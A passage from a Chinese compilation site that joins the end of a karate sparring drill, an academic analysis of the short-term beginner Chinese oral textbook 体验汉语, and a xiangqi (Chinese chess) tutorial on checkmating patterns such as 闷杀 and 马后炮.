9、与上段时相同，攻击方将右脚后退一步进行左下段移动，招架方为自然体（图25）。攻击方向着中段追击过来时，将右脚后退一步，呈稍高的前屈站立的同时，用左臂用力攻击下段（图26）。在对方的态势瓦解时，稍稍向前迈出前脚，进行右中段攻击（图27）。

10、攻击方将右脚退后一步进行左下段移动，招架方为自然体（图28）。面对中段攻击，把左拳快速收至右腰处，从内侧飞快地进行臂接招，肘使劲弯曲，拳头抬至肩高处（图29）。下个瞬间，用正拳击打对方的面部，这时，用接招的臂攻击上段，而且要用有效的连续技巧进行中段逆击（图30）。

11、攻击方左下段移动，接招方为自然体（图31）。面对中段攻击，将右脚后退一步，呈后屈站立的同时，进行左中段手刀接招（图32）。用右上段底掌上击对手的下巴，也可以用贯手攻击中段。除此之外，用底掌攻击上段之后，飞出后脚，对着下段发出前踢的连续技巧（图33）。

初级汉语教程 篇7

关键词：短期汉语教学,初级汉语教材,口语,任务型教学,零起点

近年来, 在对外汉语教学实践中, 短期汉语教学发展呈现愈加繁荣的趋势, 尤其是基于兴趣驱动的, 休闲型、业余型的普及型短期汉语教学的来华人数, 呈逐年上涨态势。这类教学一般包括普通短期班、大学间的交换班、文化旅游、游学班、夏令营、“太太班”等, 其人数所占比例很大, 包括成人、大学生、中学生、公司职员、家庭主妇、退休老人等, 据2014年统计数据显示, 约为来华留学生汉语言专业的1/3, 学历生的2-3倍, 其涉及面广, 情况复杂, 潜在的学生市场巨大。而对于“短期”是多长时间为一个教学周期, 到底对“短期”的时间界定是什么, 官方说法不一。在这里我们借用马箭飞在2000年指出的“短期汉语教学是指在8周以内的对外汉语教学模式”来界定本文的短期班教学时间。

短期初级汉语口语属于初级汉语口语的一种, 所以它符合所有对外汉语口语教学的特点, 也同样适用于汉语口语教学的性质, 它是以培养学生在实际生活中运用汉语进行口头交际的单向技能的训练课。在汉语口语教学中, 要求学生能够正确地运用语音、语调、词汇、语法来表达自己的想法, 能够把想到的准确无误的表达出来也是评价汉语交际能力强弱的标准。当然在交际过程中要具有准确性, 具体性, 实践性, 交际性, 实用性五个原则。

短期初级汉语口语教学简言之是一门在短期内培养和提高学习者汉语口语交际能力的单项技能课, 具有灵活、实用速成的特点。目的是在有限的时间段内学到实用并能交际的汉语。按照针对性强的原则, 成功实现留学生近期用汉语进行满意交流的要求。而实现这一目的的途径就是进行快捷、速成、大剂量强化的训练。在强化训练教学中在以学生为中心, 教师和学生互相配合之间要求教师少讲多练。课堂设计以情景的口语表达为主, 课程设计上既要体现出“初级”的特点, 不能过于难懂, 又要兼顾到“口语”表达的实践性和“口语”交际的实用性。

教材是连接老师教学生学习的重要工具, 其中口语是语言交流交际的主要形式, 同时传递的信息虽然受地域上的约束, 但表述快捷方便, 所以我们在判断一个人的语言好坏的时候, 总是将口语的好坏作为标准, 这也让口语教材显得十分重要, 而教材的目的往往就是运用流利准确的第二语言表达。

目前汉语短期班的人数较多, 他们大多数是以零起点开始的, 而在各个学校的教材选择上也都会对初学者开设初级汉语口语的课程, 这就涉及到教材运用选择。虽然教材只是学习汉语的一种辅助工具, 但它同时也是对汉语知识准确性的一个客观的标准。

一、《体验汉语 (留学版) 》教材简介

《体验汉语》 (陈作宏、田艳主编, 高等教育出版社2011年6月出版) 是以短期留学生的生存需求为依据, 以实用的交际任务为主线编写的任务型教材, 注重听说, 淡化语法。该教材的一大特色在于教材每一课的第一部分“目标”中都明确了学完本课需要完成的任务项目。

教学对象是母语为英语的零起点汉语学习者和初学者。全书由1个语音训练营 (1~2课时) 、12个单元 (3~4课时/单元) 和两首中国歌曲组成。教材适用于教学时间为40~50课时的短期班教学。这本教材形式较为活泼, 图文并茂, 在一定程度上可以增加学习者的学习兴趣。

二、针对教材进行分项具体分析

(一) 教材文本具体分析

第一, 从语音部分分析。教材没有将语音分散于每课之中进行分别讲解, 而是放在“语音训练营”中集中处理。教师可以根据学生实际汉语水平和学习情况进行教学计划, 安排1~2个课时进行语音训练。这样的安排较为灵活, 方便教师根据实际情况进行操作。在变调问题上, “语音训练营”只列出了上声和轻声的变调, 而“一”和“不”的变调分别出现在课文注释中进行讲解, 并且按实际发音标注声调。在j、q、x和ü相拼的问题上, 保留了ü上的两点, 有利于学生认读。课文以外的“即学即用”部分, 内容是口语中随时可能用到的短语短句, 这一部分只用汉语拼音表示, 没有标注汉字。此外, 教材中出现的所有汉字都有拼音标注。

第二, 从词汇和汉字方面分析。教材中一共有生词201个, 累计出现250多个词语。每课的生词量在12~22个之间, 分布较为合理, 易于学生掌握。这些词汇大多为生活常用词, 除此之外, 教材还涉及到了像“啤酒”这样的词汇, 这也反映了作者在编写教材的同时考虑到了酒文化。在我所接触的外国留学生中, 成年以上的大部分学生都对酒感兴趣, 喜欢在聚会的时候喝一点酒, 有的学生酒量也十分惊人。我曾经教过一名来自韩国的留学生, 最开始学会的词除了“你好”之外, 就是“啤酒”, 十分有趣。在汉字方面, 虽然教材为口语教材, 但没有忽视对汉字的教学, 每课 (单元) 最后, 有“图说汉字”的环节设计, 每次涉及两个汉字, 首先用英汉两种语言讲解汉字的来历和意义等, 然后在田字格中展示笔顺笔画, 学生既可以跟着教师学习汉字, 也可以自学, 非常方便。

第三, 从课文方面分析。课文编排形式上都是采用了提问、回答的对话形式。这一编排形式有其独特的作用。首先, 这种形式可以集中学生的注意力, 让学生对问题产生兴趣。我们往往上课的时候不一定在意老师讲了什么, 而常常记住老师的问题, 让就充分地把学生的注意力集中起来。其次, 有问有答的形式可以让学生自行学习, 这样记住了问题的同时, 又了解了回答。如别人提问时, 学生知道如何回答或再对他人进行提问。再者, 可以情景教学, 这也是我在教学中深有体会的。很多学生, 尤其是留学生大部分十分开朗活泼, 喜欢表达自己的感情, 所以采用情景教学法既满足了他们的表现欲望, 又让他们学到了知识。所以, 对话形式在口语教学中非常重要, 教材采用了适用的课文模式。

第四, 从练习方面分析。不同于以往传统的机械性练习, 这本教材的练习独有特色。“看图学词语”环节, 充分体现了短期班教学的特点, 为学有余力的同学扩大词汇量很有帮助。“双人练习”让学生和同伴根据具体的任务要求交换真实信息, 在实践的过程中, 提高学生运用汉语的能力, 让他们体验到用汉语进行交流的乐趣。为了顺利完成交际任务, 每次练习之前配有相应的词语准备。“你也能说”练习可以训练学生成段表达的能力, 使学生在主课文中学到的知识得以巩固和运用。“游戏”部分包括绕口令、韵语、唐诗以及一些参与性很强的课堂游戏。“图说汉字”能让学生对汉字和汉字文化有初步的感性认识。

三、教材任务项目分析

《体验汉语》是以短期留学生的生存需求为依据, 以实用的交际任务为主线编写的任务型教材。《体验汉语》共12课 (单元) , 该教材的一大特色在于教材每一课的第一部分“目标”中都明确了学完本课需要完成的任务项目, 此目标任务也体现了教材编写者对任务项目的选择和编排的思路。我们将体验汉语中作者明确列出的任务视为该单元的核心任务。

根据《交际任务项目表 (初级) 》标准进行统计, 《体验汉语》12课中共计任务项目26项, 并且基本没有超纲项目。

《体验汉语》为40~50学时, 将教材的学时换算成80学时 (以80学时为标准量) , 计算方法为40÷26=80÷X, 50÷26=80÷Y (X、Y分别为《体验汉语》学时换算为80时的任务数量, 计算结果保留小数点后一位数字) , 得到《体验汉语》课时数为80时任务数量分别为项46.2项、41.6项。教材换算成标准学时量的任务数量都超过了大纲规定的20项。所以按标准量来说, 教材所选用任务的数量并不少, 反而多于大纲建议的任务量。

教材总课数为12课, 共计任务项目为26项, 平均每课任务量为2.17项。《体验汉语》每课平均需要4课时完成, 而大纲建议两个8周也就是320个课时完成初级交际任务80项, 即4课时完成1项任务项目, 5课时完成1.25项任务, 这一数据与教材的每课平均任务2.17项相比相差了一倍。但据了解, 初级汉语学习者普遍拥有较强的学习愿望, 如果每课用4-5课时只完成一项任务, 无法满足学生强烈的需求, 一定程度上降低学生学习的积极性, 从而影响整个教学的效果。所以教材每课的平均任务量在没有明显超出大纲建议的同时保障了教材内容的多样性, 容易提高学习者的积极性。

在26项任务当中, 生存类为8项 (31%) , 个人信息类为6项 (23%) , 综合信息类为5项 (19%) , 社会活动类为4项 (15%) , 基本交往类为3项 (12%) 。同时, 生存类、综合信息类和个人信息类任务是教材编写者选取最多的项目。《交际任务项目表 (初级) 》五个任务类别的百分比分别为:13%, 19%, 19%, 22%, 27%。按降序排列为:综合信息类〉个人信息类〉生存类=社会活动类〉基本交际类。教材编写应以大纲为指导, 因此教材中任务项目的比例应与大纲中任务项目的比例相应地变化。《体验汉语》生存类任务数量最多, 其次为综合信息类和个人信息类任务项目。这说明教材的编写者在编写教材时更注重个人生存方面的训练, 更偏向于使学生掌握基本的生存技能与综合信息获取的能力。

四、教材编写存在的不足与建议

第一, 教材内容超纲的问题。超纲内容的存在是允许的, 但是要处理好量的问题。特别是在短期任务型教材中, 超纲内容的量会影响整体教学的效率。大纲是在严密的论证和复杂的调查下编制出来的, 具有很高的科学性与指导性。大纲中的任务项目都是经过各种手段包括问卷、访谈等得到的学习者的目标项目。因此教材在编写中仍要以大纲为编写依据, 严格控制超纲内容的数量。当然, 在任务项目的选择上, 短期初级任务型口语教材在选取数量上应不低于大纲建议的数量, 且具有一定弹性。

第二, 任务项目在教材中的排序问题。不同类任务项目有不同的难易差别, 同类任务项目也存在难易的差别。教材中各类任务项目的排列顺序没有很好的体现学习过程由易到难, 有简单到复杂的过程。任务类别扎堆出现, 没有平均分布在教材的各个部分, 没有很好的体现学习循序渐进的过程。

第三, 内容陈旧过时的问题。在教学过程当中, 我们发现一些内容已经不适合当今社会发展的需要, 正逐渐被淘汰弃用。例如, 在第四单元中, 称呼售货员为“小姐”等。教材自05年出版以来, 经过了多次修订, 但是仍然存在一些问题。所以在社会环境改变时, 我们的教材也应该与时俱进, 作出相应的修改。

参考文献

[1]马箭飞.任务式大纲与汉语交际任务[J].语言教学与研究.2002 (04) .

[2]李明.近20年短期速成初级汉语教材发展概览[J].云南师范大学学报 (对外汉语教学与研究版) .2007 (03) .

[3]语言教育问题座谈会纪要[J].世界汉语教学.1998 (01) .

[4]陈晓桦.短期初级汉语口语教材分析研究[D].暨南大学2007.

[5]国家对外汉语教学领导小组办公室.《高等学校外国留学生汉语教学大纲 (短期强化) 》[G]:北京语言大学出版社, 北京.

[6]国家汉语国际推广领导小组办公室.《国际汉语教学通用课程大纲》[G]:外语教学与研究出版社, 北京, 2008.

棋艺指导室:象棋初级教程(9) 篇8

闷杀

闷杀就是一方通过将、要杀或弃子等攻击手段造成对方子力自堵将(帅)门而一举将死对方的杀法。利用对方双士不适当的联结，自阻将(帅)的活动范围，用一炮将对方将(帅)杀死在原位，习惯称为“闷宫”。如图1，红方炮七进三，黑将即被闷杀在原位。闷宫可以看作是闷杀的一种特殊形式。如黑方先行，则卒7平6，帅四进一，炮5平6，把红帅闷杀，这实质上是闷宫杀法的一种变形，有人把这种形势称为“装篓”，也比较形象。闷杀的形式是多种多样的，比较常用而又有实用价值的如图2形势。

1、炮一进三〓士6进5

如改走车7退6，兵四进一，将5进1，兵四平三，红胜。

2、马八进七〓马3退4〓〓3、炮七进九

红炮打闷宫，把对方闷杀。

如图3是两种常见的闷杀形势，无论红黑方哪方先行，都可将对方闷杀，具体着法如下：

红方先行：

1、兵四平五〓马3退5〓〓2、车四进五〓将5平6

3、炮一进三(红胜)

黑方先行：

1、…………〓车1进5〓〓2、仕五退六〓车1平4

3、马七退六〓炮3进3(黑胜)

在排局创作中闷杀更是常见的杀法之一，《北方棋艺》1992年第四期刊出一则日本棋友熊谷安弘先生创作的排局更能启发思路，开阔视野。着法红先胜(图4)：

1、兵三平四〓将6进1〓〓2、车八进三〓将6退1

3、车八平四〓将6进1〓〓4、车三平四〓将6平5

5、炮五进六〓将5平4〓〓6、前马进八〓马1退2

7、车四进二〓士4进5〓〓8、车四平五〓将4退1

9、马六进七〓炮3退6〓〓10、车五进一〓车7平5

11、炮五平六(红胜)

重炮杀法

重炮杀法指一方将双炮重叠于一条线上，一炮充当炮架，另一炮“将军”；或前炮“将军”，后炮控制，将对方杀死，俗语说：“重炮无垫子”。就是指这种杀法所具有的威力。前面所讲的夹车炮杀法，双炮在一条线上也是一种重炮杀法。两者的区别就在于夹车炮杀法是以车和双炮交替“将军”而把对方杀死，重炮杀法是把对方将(帅)固定于一条直线上而后用双炮将死。如图5是一盘双方谁先走都可以用重炮将对方杀死的棋。

红方先行：

1、前车进三〓车8平7〓〓2、车三进七〓象5退7

3、马六进四〓将5进1〓〓4、马四进六〓将5退1

如第三回合黑方走将5平6，炮七平四，马后炮杀。第四回合改走将5平4，炮七进二，重炮杀。

5、炮七进三〓士4进5〓〓6、炮八进一(红胜)

黑方先行：

1、…………〓车1平6

弃车将红帅逼进一步，双炮均可发挥作用，是比较典型的用双炮杀死的棋局。

2、帅四进一〓炮9平6〓〓3、仕四退五〓炮5平6(重炮杀)

天地炮杀法

天地炮杀法指攻击的一方一炮镇在中路，一炮沉在底线，使对方的防卫力量都被牵制住，然后用其他子力配合而将对方将死的杀法。这种攻杀方法以车配合双炮攻杀最为常见，也是威力较大的杀法之一。如图6，红方可利用天地炮杀法取胜：

1、车一平六〓…………

平车要杀以后形成天地炮杀法，如改走车一平二，车7退4，麻烦很多。

1、…………〓将5平6〓〓2、车六平四〓将6平5

3、帅五平四〓车7退4〓〓4、车四进四

下步棋红方有车四平五杀中士的取胜着法。

双将杀法

双将指攻击的一方把自己的几个子组合起来，同时从两个方向照将从而杀死对方。这种杀法是象棋杀法中比较凶悍的一种，初学者由于对一些杀法或各子的攻杀能力理解得还不够深刻，一时不防，结果被杀。只要掌握一些双杀的基本形势，就可以防止被双杀。

如图7是比较常见的双杀形势，红黑双方谁先行都可利用双杀“将”死对方。

红方先行：

1、马二进四〓将5平6〓〓2、炮五平四〓车9平6

3、马四进三(双炮将，红胜)

黑方先行：

1、…………〓马2进4

也可改走马2退4，车七平六，马4进3，黑双将杀。

2、车七平六〓马4进2(黑双杀胜)

在双杀局中以马、炮的配合居多，但兵与其他子力，特别是与炮相配合也可以构成双杀，如图8，即可采用双杀的杀法构成连杀，着法如下：

1、马八进七〓将5平6〓〓2、车三平四〓炮9平6

3、炮三平四〓将6进1

如改走炮6退1，炮四进六，也是红胜。

4、车四进一〓将6进1〓〓5、兵五平四(红双将杀)

有时候还可以形成三个子同时“将军”，被称为“三照将”，但这种形势比较少见。

二鬼拍门杀法

二鬼拍门杀法指攻击的一方使双兵(卒)侵入对方的九宫分别锁住两条肋道，然后再配合其他子力搏士而获胜的杀法，也称“二鬼把门”。因兵(卒)有小鬼之称，故而得名。如三兵胜士象全最后就是用二鬼拍门的杀法取胜的。如图9形势，为三高兵胜士象全的最基本形势。切不可盲目冲兵，低兵有可能被对方守和。这个局面首先要冲有肋士一侧的红兵。

1、兵七进一〓象5退3〓〓2、兵七进一〓象7进5

3、兵七平六〓…………

先用一兵把守一侧的肋道。

3、…………〓将5平6〓〓4、兵五平四〓象5进3

5、帅五平四〓象3退5〓〓6、兵三进一〓象5进3

7、兵四进一〓象3退5

如改走士5进6，兵三平四，将6平5，兵四进一，红胜。

8、兵四进一〓将6平5〓〓9、兵三进一〓象5进7

10、帅四平五〓…………

如直接走兵四平五与主变胜法相同，次序不一样。

10、…………〓象7退5〓〓11、兵四平五〓士4进5

12、兵三平四〓士5进4〓〓13、帅五平四(红胜)

送佛归殿杀法

送佛归殿杀法是指兵(卒)借助其他子力的力量，步步“将军”，把对方的将(帅)逼回原位而取胜的杀法。也有的棋书称此杀法为“三进兵”杀法，但远没有“送佛归殿”这一名称形象。如图10形势，双方谁先行都可用送佛归殿杀法将死对方。具体着法如下：

红方先行：

1、车八平六〓将4进1〓〓2、炮七平六〓马2退4

3、兵六进一〓将6退1〓〓4、兵六进一〓将4平5

5、兵六进一(红胜)

黑方先行：

1、…………〓车9平6〓〓2、炮一平四〓车6进1

3、帅四进一〓炮7平6〓〓4、马二退四〓卒6进1

5、帅四退一〓卒6进1〓〓6、帅四退一〓卒6进1

7、帅四平五〓卒6进1(黑胜)

三子归边杀法

集中三个不同子力于对方的侧翼，联合作战而将对方杀死，称为“三子归边”杀法。

三子以车、马、炮三子比较常见，也威力最大。如图11形势，是比较常见的两种车马炮三子归边形式，双方都可借先行之利，作成三子归边的杀势。

红方先行：

1、炮九进三〓士4进5〓〓2、马七进九〓…………

如果黑方没有炮看守，可改走马七进八再马八进六胜。

2、…………〓炮2平3〓〓3、马九进八〓炮3退6

4、马八退七〓炮3进1〓〓5、车六平七〓士5进4

6、车七平六

下着马七进八或马七进六，红胜。

黑方先行：

1、…………〓车5平8〓〓2、相五退三〓炮9进3

3、帅四进一〓车8进2

进车要杀，伏马7退8杀棋。

4、帅四进一〓炮9退1(黑胜)

马后炮杀法

马后炮杀法指攻击的一方先用马控制住将(帅)活动范围，再以马为炮架，用炮杀死对方。这种杀法在象棋实战中是最为常用的一种杀法。

如图12形势，双方都可以用马后炮杀法将死对方。

红方先行：

1、马二进三〓将5进1〓〓2、炮一进四(红胜)

黑方先行：

1、…………〓马1进2〓〓2、帅六进一〓…………

如改走帅六平五，马2退4，帅五平六，炮5平4，黑胜。

2、…………〓炮5平1

下步炮1进2马后炮杀，这是在实战中经常可以碰到的局面。

如图13形势，也是比较常见的两种马后炮杀势。

红方先行：

1、马二进三〓车6退2〓〓2、车一进九〓士5退6

3、车一平四〓将5进1〓〓4、车四退一〓将5退1

如改走将5平6，马三退四，马后炮杀。

5、车四平六〓将5平6〓〓6、车六进一〓将6进1

7、马三退四(红胜)

黑方先行：

1、…………〓卒4平5〓〓2、帅五平六〓…………

如改走帅五进一，炮1进2，马后炮杀。

2、…………〓卒5进1〓〓3、帅六进一〓炮1进2

4、帅六进一〓后马进2(黑胜)

双马饮泉杀法

双马饮泉杀法是指用一马控制将门，另一马卧槽，然后双马互借威力，盘旋攻击而获胜的杀法。也是双马胜士象全的最基本的方法。如图14形势，是双马饮泉杀法的最基本形势。红方可借先行之利，一举擒“王”。

1、马六进七〓将5平4〓〓2、马七退五〓将4平5

黑方如改走将4进1，马五退七，红胜。控制将门的红马必须在八路位置，如在七路位置，黑方此着就可走将4进1，红方不能成杀。

3、马五进三(红胜)

本图，黑方先行也可以利用双马饮泉杀法取胜，这是此杀法的一种变形，具体着法如下：

1、…………〓马8退6〓〓2、马六退五〓…………

如改走仕五进四，马6进4，黑胜。

2、…………〓卒6进1〓〓3、帅五平四〓前马进8

4、帅四平五〓马6进7〓〓5、帅五平四〓马7退5

6、帅四平五〓马5进3(黑胜)

另外有一种比较特别的形势，也可用双马饮泉方法取胜。如图15形势，黑方有车守住3路线，而红帅可控制中路，仍可形成杀势，着法如下：

1、马四进三〓将5平6〓〓2、马三退五〓将6平5

如改走将6进1，马五退三，红胜。

3、马五进三〓将5平6〓〓4、马三退四〓将6平5

如改走将6进1，马四进二，红胜。